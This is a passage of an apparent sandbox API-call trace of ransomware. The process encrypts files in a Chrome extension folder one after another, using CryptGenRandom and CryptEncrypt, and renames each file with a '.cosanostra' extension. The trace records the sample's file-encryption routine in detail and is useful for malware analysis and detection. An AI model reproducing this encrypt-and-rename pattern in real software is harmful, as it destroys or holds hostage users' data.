Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json") returned 164 [0105.702] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.787] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.787] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff0ac, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff0ac*=0x2800, lpOverlapped=0x0) returned 1 [0105.787] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.787] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0ac, lpOverlapped=0x0 | out: lpBuffer=0x26ff0ec*, lpNumberOfBytesWritten=0x26ff0ac*=0x4, lpOverlapped=0x0) returned 1 [0106.022] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0ac, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff0ac*=0x30, lpOverlapped=0x0) returned 1 [0106.022] CloseHandle (hObject=0x138) returned 1 [0106.022] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json.cosanostra") returned 175 [0106.023] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json.cosanostra")) returned 1 [0106.024] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0f0 | out: pbBuffer=0x26ff0f0) returned 1 [0106.024] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0e8*=0x30) returned 1 [0106.024] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.025] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json") returned 152 [0106.025] StrStrW (lpFirst="manifest.json", lpSrch=".txt") returned 0x0 [0106.026] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff708, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.026] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x8f8, lpNumberOfBytesWritten=0x26ff0ac, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff0ac*=0x8f8, lpOverlapped=0x0) returned 1 [0106.026] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.026] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0ac, lpOverlapped=0x0 | out: lpBuffer=0x26ff0ec*, lpNumberOfBytesWritten=0x26ff0ac*=0x4, lpOverlapped=0x0) returned 1 [0106.027] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0ac, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff0ac*=0x30, lpOverlapped=0x0) returned 1 [0106.027] CloseHandle (hObject=0x138) returned 1 [0106.027] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json.cosanostra") returned 163 [0106.027] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json.cosanostra")) returned 1 [0106.028] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0e8 | out: pbBuffer=0x26ff0e8) returned 1 [0106.028] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0e0*=0x30) returned 1 [0106.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.029] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js") returned 157 [0106.029] StrStrW (lpFirst="feedback_script.js", lpSrch=".txt") returned 0x0 [0106.193] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.194] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff0a4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff0a4*=0x2800, lpOverlapped=0x0) returned 1 [0106.437] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.437] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0a4, lpOverlapped=0x0 | out: lpBuffer=0x26ff0e4*, lpNumberOfBytesWritten=0x26ff0a4*=0x4, lpOverlapped=0x0) returned 1 [0106.437] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0a4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff0a4*=0x30, lpOverlapped=0x0) returned 1 [0106.437] CloseHandle (hObject=0x138) returned 1 [0106.438] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.cosanostra") returned 168 [0106.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\feedback_script.js.cosanostra")) returned 1 [0106.445] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0e0 | out: pbBuffer=0x26ff0e0) returned 1 [0106.445] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0d8*=0x30) returned 1 [0106.445] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.446] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 160 [0106.446] StrStrW (lpFirst="setup.html", lpSrch=".txt") returned 0x0 [0106.447] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffffc5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.447] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x26ff09c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff09c*=0x3b, lpOverlapped=0x0) returned 1 [0106.448] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.448] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff09c, lpOverlapped=0x0 | out: lpBuffer=0x26ff0dc*, lpNumberOfBytesWritten=0x26ff09c*=0x4, lpOverlapped=0x0) returned 1 [0106.448] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff09c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff09c*=0x30, lpOverlapped=0x0) returned 1 [0106.448] CloseHandle (hObject=0x138) returned 1 [0106.448] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.cosanostra") returned 171 [0106.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.cosanostra")) returned 1 [0106.449] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0e0 | out: pbBuffer=0x26ff0e0) returned 1 [0106.449] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0d8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0d8*=0x30) returned 1 [0106.450] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.450] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 161 [0106.450] StrStrW (lpFirst="offers.html", lpSrch=".txt") returned 0x0 [0106.451] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffffc5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.451] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x26ff09c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff09c*=0x3b, lpOverlapped=0x0) returned 1 [0106.452] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.455] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff09c, lpOverlapped=0x0 | out: lpBuffer=0x26ff0dc*, lpNumberOfBytesWritten=0x26ff09c*=0x4, lpOverlapped=0x0) returned 1 [0106.455] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff09c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff09c*=0x30, lpOverlapped=0x0) returned 1 [0106.456] CloseHandle (hObject=0x138) returned 1 [0106.456] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.cosanostra") returned 172 [0106.456] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.cosanostra")) returned 1 [0106.457] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0d8 | out: pbBuffer=0x26ff0d8) returned 1 [0106.457] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0d0*=0x30) returned 1 [0106.457] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.459] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html") returned 160 [0106.459] StrStrW (lpFirst="index.html", lpSrch=".txt") returned 0x0 [0106.460] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff7d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.460] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x828, lpNumberOfBytesWritten=0x26ff094, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff094*=0x828, lpOverlapped=0x0) returned 1 [0106.461] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.461] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff094, lpOverlapped=0x0 | out: lpBuffer=0x26ff0d4*, lpNumberOfBytesWritten=0x26ff094*=0x4, lpOverlapped=0x0) returned 1 [0106.463] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff094, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff094*=0x30, lpOverlapped=0x0) returned 1 [0106.464] CloseHandle (hObject=0x138) returned 1 [0106.464] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.cosanostra") returned 171 [0106.464] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.cosanostra")) returned 1 [0106.465] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0d8 | out: pbBuffer=0x26ff0d8) returned 1 [0106.465] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0d0*=0x30) returned 1 [0106.465] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.466] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html") returned 162 [0106.466] StrStrW (lpFirst="devices.html", lpSrch=".txt") returned 0x0 [0106.467] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffffc5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.467] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x26ff094, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff094*=0x3b, lpOverlapped=0x0) returned 1 [0106.467] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.467] WriteFile (in: hFile=0x138, lpBuffer=0x26ff0d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff094, lpOverlapped=0x0 | out: lpBuffer=0x26ff0d4*, lpNumberOfBytesWritten=0x26ff094*=0x4, lpOverlapped=0x0) returned 1 [0106.467] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff094, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff094*=0x30, lpOverlapped=0x0) returned 1 [0106.467] CloseHandle (hObject=0x138) returned 1 [0106.468] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.cosanostra") returned 173 [0106.468] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.cosanostra")) returned 1 [0106.469] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff0d0 | out: pbBuffer=0x26ff0d0) returned 1 [0106.469] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff0c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff0c8*=0x30) returned 1 [0106.469] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.470] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png") returned 174 [0106.470] StrStrW (lpFirst="chromecast_logo_grey.png", lpSrch=".txt") returned 0x0 [0106.576] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe411, 